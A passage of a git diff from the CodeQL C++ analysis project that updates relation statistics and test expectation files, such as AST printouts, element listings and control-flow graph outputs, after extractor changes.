3 -10 +11 -25 -26 -10 +21 +22 +11 -452 -453 -10 +135 +136 +11 -621 -622 -10 +150 +151 +11 -856 -857 -10 +167 +168 +11 -1785 -1786 -10 +238 +239 +11 -1970 -1971 -10 +331 +332 +11 -2507 -2508 -10 +722 +723 +11 -2656 -2657 -10 +920 +921 +11 -2801 -2802 -10 +1164 +1165 +11 -3377 -3378 -10 +1269 +1270 +11 -3775 -3776 -10 +1284 +1285 +11 -4428 -4429 -10 +2345 +2346 +11 -6227 -6228 -10 +3245 +3246 +11 -40098 -40099 -10 +11403 +11404 +11 -63840 -63841 -10 +12023 +12024 +11 -116834 -116835 -10 +25638 +25639 +11 -124824 -124825 -10 +26075 +26076 +11 -147312 -147313 -10 +32517 +32518 +11 @@ -34365,12 +34968,27 @@ 1 2 -5627313 +761713 2 -5521 -21333 +3 +237443 + + +3 +4 +108452 + + +4 +7 +110125 + + +7 +4968 +97568 @@ -34386,12 +35004,12 @@ 1 2 -5627313 +1290234 2 -4 -21333 +9 +25070 @@ -34449,15 +35067,15 @@ variable_vla -105 +80 var -105 +80 decl -105 +80 @@ -34471,7 +35089,7 @@ 1 2 -105 +80 @@ -34487,7 +35105,7 @@ 1 2 -105 +80 @@ -34497,15 +35115,15 @@ if_then -661372 +507059 if_stmt -661372 +507059 then_id -661372 +507059 @@ -34519,7 +35137,7 @@ 1 2 -661372 +507059 @@ -34535,7 +35153,7 @@ 1 2 -661372 +507059 @@ -34545,15 +35163,15 @@ if_else -193032 +147993 if_stmt -193032 +147993 else_id -193032 +147993 @@ -34567,7 +35185,7 @@ 1 2 -193032 +147993 @@ -34583,7 +35201,7 @@ 1 2 -193032 +147993 @@ -34593,15 +35211,15 @@ while_body -40817 +30879 while_stmt -40817 +30879 body_id -40817 +30879 @@ -34615,7 +35233,7 @@ 1 2 -40817 +30879 @@ -34631,7 +35249,7 @@ 1 2 -40817 +30879 @@ -34641,15 +35259,15 @@ do_body -220160 +120550 do_stmt -220160 +120550 body_id -220160 +120550 @@ -34663,7 +35281,7 @@ 1 2 -220160 +120550 @@ -34679,7 +35297,7 @@ 1 2 -220160 +120550 @@ -34689,19 +35307,19 @@ switch_case -390492 +299046 switch_stmt -76506 +58590 index -428 +328 case_id -390492 +299046 @@ -34715,17 +35333,17 @@ 1 5 -5907 +4524 5 6 -67571 +51747 6 156 -3027 +2318 @@ -34741,17 +35359,17 @@ 1 5 -5907 +4524 5 6 -67571 +51747 6 156 -3027 +2318 @@ -34767,47 +35385,47 @@ 1 2 -168 +129 2 3 -47 +36 3 5 -38 +29 5 11 -33 +25 11 28 -33 +25 28 56 -33 +25 59 158 -33 +25 177 26291 -33 +25 27182 27650 -8 +6 @@ -34823,47 +35441,47 @@ 1 2 -168 +129 2 3 -47 +36 3 5 -38 +29 5 11 -33 +25 11 28 -33 +25 28 56 -33 +25 59 158 -33 +25 177 26291 -33 +25 27182 27650 -8 +6 @@ -34879,7 +35497,7 @@ 1 2 -390492 +299046 @@ -34895,7 +35513,7 @@ 1 2 -390492 +299046 @@ -34905,15 +35523,15 @@ switch_body -76506 +58590 switch_stmt -76506 +58590 body_id -76506 +58590 @@ -34927,7 +35545,7 @@ 1 2 -76506 +58590 @@ -34943,7 +35561,7 @@ 1 2 -76506 +58590 @@ -34953,15 +35571,15 @@ for_initialization -35091 +28628 for_stmt -35091 +28628 init_id -35091 +28628 @@ -34975,7 +35593,7 @@ 1 2 -35091 +28628 @@ -34991,7 +35609,7 @@ 1 2 -35091 +28628 @@ -35001,15 +35619,15 @@ for_condition -40832 +30333 for_stmt -40832 +30333 condition_id -40832 +30333 @@ -35023,7 +35641,7 @@ 1 2 -40832 +30333 @@ -35039,7 +35657,7 @@ 1 2 -40832 +30333 @@ -35049,15 +35667,15 @@ for_update -39998 +28309 for_stmt -39998 +28309 update_id -39998 +28309 @@ -35071,7 +35689,7 @@ 1 2 -39998 +28309 @@ -35087,7 +35705,7 @@ 1 2 -39998 +28309 @@ -35097,15 +35715,15 @@ for_body -42107 +30946 for_stmt -42107 +30946 body_id -42107 +30946 @@ -35119,7 +35737,7 @@ 1 2 -42107 +30946 @@ -35135,7 +35753,7 @@ 1 2 -42107 +30946 @@ -35145,19 +35763,19 @@ stmtparents -5440576 +4161183 id -5440576 +4161183 index -1281 +981 parent -1964292 +1501636 @@ -35171,7 +35789,7 @@ 1 2 -5440576 +4161183 @@ -35187,7 +35805,7 @@ 1 2 -5440576 +4161183 @@ -35203,52 +35821,52 @@ 1 2 -451 +345 2 3 -55 +42 3 4 -91 +69 4 6 -105 +80 6 10 -91 +69 10 19 -116 +89 22 46 -96 +74 47 149 -96 +74 161 1629 -96 +74 1801 -579887 -80 +579052 +61 @@ -35264,52 +35882,52 @@ 1 2 -451 +345 2 3 -55 +42 3 4 -91 +69 4 6 -105 +80 6 10 -91 +69 10 19 -116 +89 22 46 -96 +74 47 149 -96 +74 161 1629 -96 +74 1801 -579887 -80 +579052 +61 @@ -35325,32 +35943,32 @@ 1 2 -990069 +756887 2 3 -486055 +371787 3 4 -164812 +125773 4 7 -154095 +117566 7 17 -148829 +113976 17 464 -20429 +15645 @@ -35366,32 +35984,32 @@ 1 2 -990069 +756887 2 3 -486055 +371787 3 4 -164812 +125773 4 7 -154095 +117566 7 17 -148829 +113976 17 464 -20429 +15645 @@ -35401,26 +36019,26 @@ ishandler -21300 +19071 block -21300 +19071 successors -21708989 +16625153 from -20317024 +15559160 to -20314962 +15557581 @@ -35434,12 +36052,12 @@ 1 2 -19165457 +14677268 2 156 -1151566 +881891 @@ -35455,12 +36073,12 @@ 1 2 -19493015 +14928118 2 349 -821947 +629463 @@ -35470,15 +36088,15 @@ truecond -1251979 +959864 from -1251979 +959864 to -1211693 +928978 @@ -35492,7 +36110,7 @@ 1 2 -1251979 +959864 @@ -35508,12 +36126,12 @@ 1 2 -1178691 +903676 2 23 -33001 +25301 @@ -35523,15 +36141,15 @@ falsecond -1251979 +959864 from -1251979 +959864 to -1031223 +790616 @@ -35545,7 +36163,7 @@ 1 2 -1251979 +959864 @@ -35561,17 +36179,17 @@ 1 2 -882058 +676254 2 3 -110157 +84455 3 22 -39007 +29906 @@ -35581,19 +36199,19 @@ stmt_decl_bind -706223 +538215 stmt -644204 +492015 num -744 +570 decl -680265 +519631 @@ -35607,12 +36225,12 @@ 1 2 -599785 +458445 2 270 -44419 +33570 @@ -35628,12 +36246,12 @@ 1 2 -599785 +458445 2 15 -44419 +33570 @@ -35649,22 +36267,22 @@ 8 9 -368 +281 -10 -11 +9 +10 2 -15 -16 -334 +12 +13 +256 -16 -232812 -38 +13 +232185 +29 @@ -35680,17 +36298,17 @@ 8 9 -368 +281 9 10 -332 +256 10 -226549 -44 +226133 +31 @@ -35706,12 +36324,12 @@ 1 2 -672395 +513604 2 81 -7869 +6026 @@ -35727,12 +36345,12 @@ 1 2 -680204 +519584 2 269 -60 +46 @@ -35742,19 +36360,19 @@ stmt_decl_entry_bind -706223 +538215 stmt -644204 +492015 num -744 +570 decl_entry -683641 +522216 @@ -35768,12 +36386,12 @@ 1 2 -599785 +458445 2 270 -44419 +33570 @@ -35789,12 +36407,12 @@ 1 2 -599785 +458445 2 15 -44419 +33570 @@ -35810,22 +36428,22 @@ 8 9 -368 +281 -10 -11 +9 +10 2 -15 -16 -334 +12 +13 +256 -16 -232812 -38 +13 +232185 +29 @@ -35841,17 +36459,17 @@ 8 9 -368 +281 9 10 -332 +256 10 -227759 -44 +227343 +31 @@ -35867,12 +36485,12 @@ 1 2 -676106 +516448 2 17 -7534 +5768 @@ -35888,12 +36506,12 @@ 1 2 -683566 +522159 2 269 -74 +57 @@ -35903,15 +36521,15 @@ blockscope -1621708 +1256675 block -1621697 +1256675 enclosing -1395434 +1111973 @@ -35925,12 +36543,7 @@ 1 2 -1621687 - - -2 -3 -10 +1256675 @@ -35946,12 +36559,12 @@ 1 2 -1297494 +1030354 2 692 -97940 +81619 @@ -35961,19 +36574,19 @@ jumpinfo -511797 +391944 id -511797 +391944 str -8948 +6853 target -119526 +91535 @@ -35987,7 +36600,7 @@ 1 2 -511797 +391944 @@ -36003,7 +36616,7 @@ 1 2 -511797 +391944 @@ -36019,37 +36632,37 @@ 1 2 -5 +4 2 3 -4878 +3735 3 4 -1178 +902 4 5 -1065 +815 5 7 -730 +559 7 16 -697 +534 16 154443 -392 +300 @@ -36065,22 +36678,22 @@ 1 2 -7116 +5450 2 3 -1029 +788 3 12 -680 +521 12 33253 -121 +93 @@ -36096,37 +36709,37 @@ 1 2 -16 +12 2 3 -30183 +23114 3 4 -10617 +8130 4 5 -5556 +4255 5 6 -55227 +42294 6 7 -15293 +11712 7 155 -2631 +2015 @@ -36142,7 +36755,7 @@ 1 2 -119526 +91535 @@ -36152,19 +36765,19 @@ preprocdirects -1178632 +1232294 id -1178632 +1232294 kind -151 +158 location -1172328 +1225705 @@ -36178,7 +36791,7 @@ 1 2 -1178632 +1232294 @@ -36194,7 +36807,7 @@ 1 2 -1178632 +1232294 @@ -36210,72 +36823,72 @@ 2 3 -10 +11 4 5 -10 +11 7 8 -10 +11 -89 -90 -10 +100 +101 +11 640 641 -10 +11 1510 1511 -10 +11 1541 1542 -10 +11 4500 4501 -10 +11 -4602 -4603 -10 +4603 +4604 +11 6920 6921 -10 +11 -12061 -12062 -10 +12064 +12065 +11 -23482 -23483 -10 +23484 +23485 +11 25393 25394 -10 +11 28255 28256 -10 +11 @@ -36291,72 +36904,72 @@ 2 3 -10 +11 4 5 -10 +11 6 7 -10 +11 -89 -90 -10 +100 +101 +11 640 641 -10 +11 1510 1511 -10 +11 1541 1542 -10 +11 4500 4501 -10 +11 -4602 -4603 -10 +4603 +4604 +11 6920 6921 -10 +11 -12061 -12062 -10 +12064 +12065 +11 -23482 -23483 -10 +23484 +23485 +11 25034 25035 -10 +11 28032 28033 -10 +11 @@ -36372,12 +36985,12 @@ 1 2 -1172004 +1225365 2 225 -324 +339 @@ -36393,7 +37006,7 @@ 1 2 -1172328 +1225705 @@ -36403,15 +37016,15 @@ preprocpair -319986 +334537 begin -253900 +265441 elseelifend -319986 +334537 @@ -36425,17 +37038,17 @@ 1 2 -201080 +210214 2 3 -47121 +49270 3 53 -5698 +5956 @@ -36451,7 +37064,7 @@ 1 2 -319986 +334537 @@ -36461,41 +37074,41 @@ preproctrue -142736 +149234 branch -142736 +149234 preprocfalse -103486 +108193 branch -103486 +108193 preproctext -874961 +914712 id -874961 +914712 head -433723 +453400 body -170784 +178532 @@ -36509,7 +37122,7 @@ 1 2 -874961 +914712 @@ -36525,7 +37138,7 @@ 1 2 -874961 +914712 @@ -36541,22 +37154,22 @@ 1 2 -332583 +347671 2 3 -67232 +70271 3 45 -32545 +34033 45 671 -1362 +1424 @@ -36572,12 +37185,12 @@ 1 2 -417948 +436908 2 40 -15775 +16491 @@ -36593,12 +37206,12 @@ 1 2 -160717 +168008 2 -58050 -10066 +58055 +10523 @@ -36614,12 +37227,12 @@ 1 2 -161528 +168856 2 19352 -9255 +9675 @@ -36629,15 +37242,15 @@ includes -274638 +287098 id -274638 +287098 included -50278 +52559 @@ -36651,7 +37264,7 @@ 1 2 -274638 +287098 @@ -36667,37 +37280,37 @@ 1 2 -24339 +25443 2 3 -8347 +8725 3 4 -3979 +4159 4 6 -4606 +4815 6 11 -3914 +4091 11 32 -3816 +3989 32 684 -1275 +1333 @@ -36707,15 +37320,15 @@ link_targets -1303 +998 id -1303 +998 binary -1303 +998 @@ -36729,7 +37342,7 @@ 1 2 -1303 +998 @@ -36745,7 +37358,7 @@ 1 2 -1303 +998 @@ -36755,15 +37368,15 @@ link_parent -12587521 +16589642 element -4526520 +4520844 link_target -637 +666 @@ -36777,27 +37390,32 @@ 1 2 -2738796 +1360358 2 3 -989910 +1610710 3 +4 +667435 + + +4 5 -407319 +353899 5 -36 -346325 +17 +342324 -36 -60 -44169 +17 +45 +186116 @@ -36811,64 +37429,64 @@ 12 -5 -7 -54 +2 +4 +56 -7 -9 -43 +4 +6 +45 -9 -25 -54 +6 +22 +56 -50 -977 -54 +47 +960 +56 -4267 -6132 -54 +4523 +6819 +56 -6208 -8494 -54 +7225 +9976 +56 -8552 -14647 -54 +10010 +16187 +56 -16356 -19486 -54 +21636 +24840 +56 -19585 -21586 -54 +24919 +33152 +56 -22124 -27375 -54 +33160 +39138 +56 -27427 -38409 -54 +39154 +48355 +56 -39374 -326548 -54 +53210 +323707 +56 diff --git a/cpp/ql/test/examples/expressions/PrintAST.expected b/cpp/ql/test/examples/expressions/PrintAST.expected index 065488c78ce..98f0efb6315 100644 --- a/cpp/ql/test/examples/expressions/PrintAST.expected +++ b/cpp/ql/test/examples/expressions/PrintAST.expected @@ -1,7 +1,11 @@ -#-----| __va_list_tag::operator=() -> __va_list_tag & +#-----| __va_list_tag::operator=(__va_list_tag &&) -> __va_list_tag & #-----| params: -#-----| __va_list_tag::operator=() -> __va_list_tag & +#-----| 0: p#0 +#-----| Type = __va_list_tag && +#-----| __va_list_tag::operator=(const __va_list_tag &) -> __va_list_tag & #-----| params: +#-----| 0: p#0 +#-----| Type = const __va_list_tag & #-----| operator delete(void *) -> void #-----| params: #-----| 0: p#0 @@ -882,6 +886,9 @@ VacuousDestructorCall.cpp: # 4| 0: (vacuous destructor call) # 4| Type = void # 4| ValueCategory = prvalue +# 4| 0: y +# 4| Type = int * +# 4| ValueCategory = prvalue(load) # 5| 2: return ... # 7| Vacuous(int) -> void # 7| params: diff --git a/cpp/ql/test/header-variant-tests/deduplication/variables.expected b/cpp/ql/test/header-variant-tests/deduplication/variables.expected index 05233432cdb..3db8c3c168c 100644 --- a/cpp/ql/test/header-variant-tests/deduplication/variables.expected +++ b/cpp/ql/test/header-variant-tests/deduplication/variables.expected @@ -4,9 +4,11 @@ | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | C && | Variable | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | C && | Variable | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | D && | Variable | | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | __va_list_tag && | Variable | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const C & | Variable | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const C & | Variable | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const D & | Variable | | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const __va_list_tag & | Variable | | | file://:0:0:0:0 | reg_save_area | file://:0:0:0:0 | void * | MemberVariable | __va_list_tag | | foo.h:7:5:7:15 | foo_defined | file://:0:0:0:0 | int | MemberVariable | C | | foo.h:7:5:7:15 | foo_defined | file://:0:0:0:0 | int | Variable | | diff --git a/cpp/ql/test/header-variant-tests/functions-in-headers/one_x.expected b/cpp/ql/test/header-variant-tests/functions-in-headers/one_x.expected index 990c69a3946..1039dac1595 100644 --- a/cpp/ql/test/header-variant-tests/functions-in-headers/one_x.expected +++ b/cpp/ql/test/header-variant-tests/functions-in-headers/one_x.expected @@ -2,4 +2,6 @@ | file://:0:0:0:0 | fp_offset | fp_offset | false | | file://:0:0:0:0 | gp_offset | gp_offset | false | | file://:0:0:0:0 | overflow_arg_area | overflow_arg_area | false | +| file://:0:0:0:0 | p#0 | p#0 | false | +| file://:0:0:0:0 | p#0 | p#0 | false | | file://:0:0:0:0 | reg_save_area | reg_save_area | false | diff --git a/cpp/ql/test/library-tests/CPP-205/elements.expected b/cpp/ql/test/library-tests/CPP-205/elements.expected index 5988280f9a9..fbfc97a4e46 100644 --- a/cpp/ql/test/library-tests/CPP-205/elements.expected +++ b/cpp/ql/test/library-tests/CPP-205/elements.expected @@ -1,30 +1,34 @@ -| CPP-205.cpp:0:0:0:0 | CPP-205.cpp | -| CPP-205.cpp:1:20:1:20 | T | -| CPP-205.cpp:1:20:1:20 | definition of T | -| CPP-205.cpp:2:5:2:6 | definition of fn | -| CPP-205.cpp:2:5:2:6 | fn | -| CPP-205.cpp:2:5:2:6 | fn | -| CPP-205.cpp:2:10:2:12 | definition of out | -| CPP-205.cpp:2:10:2:12 | out | -| CPP-205.cpp:2:10:2:12 | out | -| CPP-205.cpp:2:15:5:1 | { ... } | -| CPP-205.cpp:2:15:5:1 | { ... } | -| CPP-205.cpp:3:3:3:33 | declaration | -| CPP-205.cpp:3:3:3:33 | declaration | -| CPP-205.cpp:3:15:3:15 | declaration of y | -| CPP-205.cpp:3:15:3:15 | declaration of y | -| CPP-205.cpp:3:15:3:15 | y | -| CPP-205.cpp:3:15:3:15 | y | -| CPP-205.cpp:3:17:3:31 | 5 | -| CPP-205.cpp:4:3:4:11 | return ... | -| CPP-205.cpp:4:3:4:11 | return ... | -| CPP-205.cpp:4:10:4:10 | 0 | -| CPP-205.cpp:4:10:4:10 | 0 | -| CPP-205.cpp:7:5:7:8 | definition of main | -| CPP-205.cpp:7:5:7:8 | main | -| CPP-205.cpp:7:12:9:1 | { ... } | -| CPP-205.cpp:8:3:8:15 | return ... | -| CPP-205.cpp:8:10:8:11 | call to fn | -| CPP-205.cpp:8:13:8:13 | 0 | -| file://:0:0:0:0 | operator= | -| file://:0:0:0:0 | operator= | +| CPP-205.cpp:0:0:0:0 | CPP-205.cpp | | +| CPP-205.cpp:1:20:1:20 | T | | +| CPP-205.cpp:1:20:1:20 | definition of T | | +| CPP-205.cpp:2:5:2:5 | definition of fn | function declaration entry for fn(int) -> int | +| CPP-205.cpp:2:5:2:5 | fn | function fn(int) -> int | +| CPP-205.cpp:2:5:2:6 | definition of fn | function declaration entry for fn(T) -> int | +| CPP-205.cpp:2:5:2:6 | fn | function fn(T) -> int | +| CPP-205.cpp:2:10:2:12 | definition of out | parameter declaration entry for fn(T) -> int | +| CPP-205.cpp:2:10:2:12 | definition of out | parameter declaration entry for fn(int) -> int | +| CPP-205.cpp:2:10:2:12 | out | parameter for fn(T) -> int | +| CPP-205.cpp:2:10:2:12 | out | parameter for fn(int) -> int | +| CPP-205.cpp:2:15:5:1 | { ... } | | +| CPP-205.cpp:2:15:5:1 | { ... } | | +| CPP-205.cpp:3:3:3:33 | declaration | | +| CPP-205.cpp:3:3:3:33 | declaration | | +| CPP-205.cpp:3:15:3:15 | declaration of y | | +| CPP-205.cpp:3:15:3:15 | y | | +| CPP-205.cpp:3:17:3:31 | 5 | | +| CPP-205.cpp:4:3:4:11 | return ... | | +| CPP-205.cpp:4:3:4:11 | return ... | | +| CPP-205.cpp:4:10:4:10 | 0 | | +| CPP-205.cpp:4:10:4:10 | 0 | | +| CPP-205.cpp:7:5:7:8 | definition of main | function declaration entry for main() -> int | +| CPP-205.cpp:7:5:7:8 | main | function main() -> int | +| CPP-205.cpp:7:12:9:1 | { ... } | | +| CPP-205.cpp:8:3:8:15 | return ... | | +| CPP-205.cpp:8:10:8:11 | call to fn | | +| CPP-205.cpp:8:13:8:13 | 0 | | +| file://:0:0:0:0 | __va_list_tag | | +| file://:0:0:0:0 | operator= | function __va_list_tag::operator=(__va_list_tag &&) -> __va_list_tag & | +| file://:0:0:0:0 | operator= | function __va_list_tag::operator=(const __va_list_tag &) -> __va_list_tag & | +| file://:0:0:0:0 | p#0 | parameter for __va_list_tag::operator=(__va_list_tag &&) -> __va_list_tag & | +| file://:0:0:0:0 | p#0 | parameter for __va_list_tag::operator=(const __va_list_tag &) -> __va_list_tag & | +| file://:0:0:0:0 | y | | diff --git a/cpp/ql/test/library-tests/CPP-205/elements.ql b/cpp/ql/test/library-tests/CPP-205/elements.ql index 36659f08c98..eb21ae77793 100644 --- a/cpp/ql/test/library-tests/CPP-205/elements.ql +++ b/cpp/ql/test/library-tests/CPP-205/elements.ql @@ -1,6 +1,16 @@ import cpp +string describe(Element e) { + result = "function " + e.(Function).getFullSignature() + or + result = "function declaration entry for " + e.(FunctionDeclarationEntry).getFunction().getFullSignature() + or + result = "parameter for " + e.(Parameter).getFunction().getFullSignature() + or + result = "parameter declaration entry for " + e.(ParameterDeclarationEntry).getFunctionDeclarationEntry().getFunction().getFullSignature() +} + from Element e where not e.getLocation() instanceof UnknownLocation and not e instanceof Folder -select e +select e, concat(describe(e), ", ") diff --git a/cpp/ql/test/library-tests/atomic/variables.expected b/cpp/ql/test/library-tests/atomic/variables.expected index e5303709924..bd56dc05e0f 100644 --- a/cpp/ql/test/library-tests/atomic/variables.expected +++ b/cpp/ql/test/library-tests/atomic/variables.expected @@ -13,7 +13,9 @@ | k | _Atomic(int) *_Atomic | atomic {pointer to {atomic {int}}} | | m | int | int | | overflow_arg_area | void * | pointer to {void} | +| p#0 | __va_list_tag && | rvalue reference to {struct __va_list_tag} | | p#0 | atomic_box && | rvalue reference to {struct atomic_box} | +| p#0 | const __va_list_tag & | reference to {const {struct __va_list_tag}} | | p#0 | const atomic_box & | reference to {const {struct atomic_box}} | | reg_save_area | void * | pointer to {void} | | value | _Atomic(T) | atomic {T} | diff --git a/cpp/ql/test/library-tests/blocks/cpp/blocks.expected b/cpp/ql/test/library-tests/blocks/cpp/blocks.expected index 5a4830a470f..1716b2ef93c 100644 --- a/cpp/ql/test/library-tests/blocks/cpp/blocks.expected +++ b/cpp/ql/test/library-tests/blocks/cpp/blocks.expected @@ -26,5 +26,7 @@ | file://:0:0:0:0 | gp_offset | file://:0:0:0:0 | unsigned int | unsigned int | | file://:0:0:0:0 | overflow_arg_area | file://:0:0:0:0 | void * | pointer to {void} | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | Example && | rvalue reference to {struct Example} | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | __va_list_tag && | rvalue reference to {struct __va_list_tag} | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const Example & | reference to {const {struct Example}} | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const __va_list_tag & | reference to {const {struct __va_list_tag}} | | file://:0:0:0:0 | reg_save_area | file://:0:0:0:0 | void * | pointer to {void} | diff --git a/cpp/ql/test/library-tests/blocks/deduplication/functions.expected b/cpp/ql/test/library-tests/blocks/deduplication/functions.expected index 9f4d90dd1f1..7e55b4322aa 100644 --- a/cpp/ql/test/library-tests/blocks/deduplication/functions.expected +++ b/cpp/ql/test/library-tests/blocks/deduplication/functions.expected @@ -1,3 +1,3 @@ | 1 | 1 | -| 2 | 1 | +| 2 | 2 | | 9 | 2 | diff --git a/cpp/ql/test/library-tests/builtins/functions_file/isbuiltin.expected b/cpp/ql/test/library-tests/builtins/functions_file/isbuiltin.expected index 00a331f6f44..72e065f79a8 100644 --- a/cpp/ql/test/library-tests/builtins/functions_file/isbuiltin.expected +++ b/cpp/ql/test/library-tests/builtins/functions_file/isbuiltin.expected @@ -1,4 +1,4 @@ | file://:0:0:0:0 | __builtin_add_overflow | true | 0 | file://:0:0:0:0 | bool | -| file://:0:0:0:0 | __builtin_foobar | true | 0 | file://:0:0:0:0 | int | -| file://:0:0:0:0 | __builtin_malloc | true | 0 | file://:0:0:0:0 | float | +| file://:0:0:0:0 | __builtin_foobar | true | 1 | file://:0:0:0:0 | int | +| file://:0:0:0:0 | __builtin_malloc | true | 4 | file://:0:0:0:0 | float | | test.c:1:6:1:6 | f | false | 3 | file://:0:0:0:0 | long | diff --git a/cpp/ql/test/library-tests/c++_exceptions/anycatch.expected b/cpp/ql/test/library-tests/c++_exceptions/anycatch.expected index 0cf5886307f..c8d1b94c2bf 100644 --- a/cpp/ql/test/library-tests/c++_exceptions/anycatch.expected +++ b/cpp/ql/test/library-tests/c++_exceptions/anycatch.expected @@ -1,4 +1,3 @@ -| ODASA-5692.cpp:11:18:13:3 | { ... } | | ODASA-5692.cpp:14:15:16:3 | { ... } | | ODASA-5692.cpp:14:15:16:3 | { ... } | | exceptions.cpp:44:19:46:5 | { ... } | diff --git a/cpp/ql/test/library-tests/c++_exceptions/catchparams.expected b/cpp/ql/test/library-tests/c++_exceptions/catchparams.expected index eba74d8f8b5..eb065da6d26 100644 --- a/cpp/ql/test/library-tests/c++_exceptions/catchparams.expected +++ b/cpp/ql/test/library-tests/c++_exceptions/catchparams.expected @@ -1,4 +1,5 @@ | ODASA-5692.cpp:11:10:11:14 | p#0 | ODASA-5692.cpp:11:18:13:3 | { ... } | +| ODASA-5692.cpp:11:10:11:14 | p#0 | ODASA-5692.cpp:11:18:13:3 | { ... } | | exceptions.cpp:28:20:28:20 | e | exceptions.cpp:28:23:30:9 | { ... } | | exceptions.cpp:32:16:32:16 | e | exceptions.cpp:32:19:34:5 | { ... } | | exceptions.cpp:35:16:35:16 | e | exceptions.cpp:35:19:37:5 | { ... } | diff --git a/cpp/ql/test/library-tests/c++_exceptions/graphable.expected b/cpp/ql/test/library-tests/c++_exceptions/graphable.expected index 18a1959c53a..10182507145 100644 --- a/cpp/ql/test/library-tests/c++_exceptions/graphable.expected +++ b/cpp/ql/test/library-tests/c++_exceptions/graphable.expected @@ -1,384 +1,384 @@ -| C::C | false | 400 | 400 | C | -| C::C | false | 406 | 406 | C | -| C::operator= | false | 398 | 398 | operator= | -| C::~C | false | 403 | 403 | ~C | -| Error::Error | false | 71 | 71 | Error | -| Error::Error | false | 74 | 74 | return ... | -| Error::Error | false | 76 | 76 | { ... } | -| Error::Error | false | 95 | 95 | Error | -| Error::Error | true | 74 | 71 | | -| Error::Error | true | 76 | 74 | | -| Error::operator= | false | 93 | 93 | operator= | -| Error::~Error | false | 79 | 79 | ~Error | -| Error::~Error | false | 82 | 82 | return ... | -| Error::~Error | false | 84 | 84 | { ... } | -| Error::~Error | true | 82 | 79 | | -| Error::~Error | true | 84 | 82 | | -| __va_list_tag::operator= | false | 60 | 60 | operator= | -| __va_list_tag::operator= | false | 66 | 66 | operator= | -| f | false | 416 | 416 | f | -| f | false | 422 | 422 | call to C | -| f | false | 426 | 426 | 101 | -| f | false | 427 | 427 | initializer for c101 | -| f | false | 431 | 431 | declaration | -| f | false | 434 | 434 | call to C | -| f | false | 438 | 438 | 102 | -| f | false | 439 | 439 | initializer for c102 | -| f | false | 444 | 444 | call to C | -| f | false | 448 | 448 | 103 | -| f | false | 449 | 449 | initializer for c103 | -| f | false | 453 | 453 | declaration | -| f | false | 455 | 455 | b1 | -| f | false | 457 | 457 | (bool)... | -| f | false | 461 | 461 | 1 | -| f | false | 462 | 462 | throw ... | -| f | false | 464 | 464 | ExprStmt | -| f | false | 466 | 466 | { ... } | -| f | false | 468 | 468 | if (...) ... | -| f | false | 470 | 470 | declaration | -| f | false | 472 | 472 | { ... } | -| f | false | 478 | 478 | 1 | -| f | false | 480 | 480 | call to C | -| f | false | 484 | 484 | 104 | -| f | false | 485 | 485 | initializer for c104 | -| f | false | 489 | 489 | declaration | -| f | false | 491 | 491 | { ... } | -| f | false | 493 | 493 | __try { ... } __except( ... ) { ... } | -| f | false | 496 | 496 | call to C | -| f | false | 500 | 500 | 105 | -| f | false | 501 | 501 | initializer for c105 | -| f | false | 505 | 505 | declaration | -| f | false | 508 | 508 | call to C | -| f | false | 512 | 512 | 106 | -| f | false | 513 | 513 | initializer for c106 | -| f | false | 518 | 518 | call to C | -| f | false | 522 | 522 | 107 | -| f | false | 523 | 523 | initializer for c107 | -| f | false | 527 | 527 | declaration | -| f | false | 529 | 529 | b2 | -| f | false | 531 | 531 | (bool)... | -| f | false | 535 | 535 | 2 | -| f | false | 536 | 536 | throw ... | -| f | false | 538 | 538 | ExprStmt | -| f | false | 540 | 540 | { ... } | -| f | false | 542 | 542 | if (...) ... | +| C::C | false | 493 | 493 | C | +| C::C | false | 682 | 682 | C | +| C::operator= | false | 675 | 675 | operator= | +| C::~C | false | 614 | 614 | ~C | +| Error::Error | false | 259 | 259 | Error | +| Error::Error | false | 272 | 272 | Error | +| Error::Error | false | 277 | 277 | return ... | +| Error::Error | false | 279 | 279 | { ... } | +| Error::Error | true | 277 | 272 | | +| Error::Error | true | 279 | 277 | | +| Error::operator= | false | 253 | 253 | operator= | +| Error::~Error | false | 263 | 263 | ~Error | +| Error::~Error | false | 268 | 268 | return ... | +| Error::~Error | false | 270 | 270 | { ... } | +| Error::~Error | true | 268 | 263 | | +| Error::~Error | true | 270 | 268 | | +| __va_list_tag::operator= | false | 140 | 140 | operator= | +| __va_list_tag::operator= | false | 147 | 147 | operator= | +| f | false | 477 | 477 | f | +| f | false | 488 | 488 | declaration | +| f | false | 491 | 491 | call to C | +| f | false | 496 | 496 | 102 | +| f | false | 497 | 497 | initializer for c102 | +| f | false | 501 | 501 | call to C | +| f | false | 505 | 505 | 103 | +| f | false | 506 | 506 | initializer for c103 | +| f | false | 509 | 509 | declaration | +| f | false | 511 | 511 | b1 | +| f | false | 513 | 513 | (bool)... | +| f | false | 516 | 516 | 1 | +| f | false | 517 | 517 | throw ... | +| f | false | 519 | 519 | ExprStmt | +| f | false | 521 | 521 | { ... } | +| f | false | 523 | 523 | if (...) ... | +| f | false | 525 | 525 | declaration | +| f | false | 527 | 527 | { ... } | +| f | false | 534 | 534 | 1 | +| f | false | 536 | 536 | call to C | +| f | false | 540 | 540 | 104 | +| f | false | 541 | 541 | initializer for c104 | | f | false | 544 | 544 | declaration | | f | false | 546 | 546 | { ... } | -| f | false | 549 | 549 | call to C | -| f | false | 553 | 553 | 108 | -| f | false | 554 | 554 | initializer for c108 | -| f | false | 558 | 558 | declaration | -| f | false | 560 | 560 | { ... } | -| f | false | 562 | 562 | __try { ... } __finally { ... } | -| f | false | 565 | 565 | call to C | -| f | false | 569 | 569 | 109 | -| f | false | 570 | 570 | initializer for c109 | -| f | false | 574 | 574 | declaration | -| f | false | 576 | 576 | return ... | -| f | false | 578 | 578 | { ... } | -| f | false | 580 | 580 | c101 | -| f | false | 582 | 582 | call to c101.~C | -| f | false | 583 | 583 | c105 | -| f | false | 584 | 584 | call to c105.~C | -| f | false | 585 | 585 | c109 | -| f | false | 586 | 586 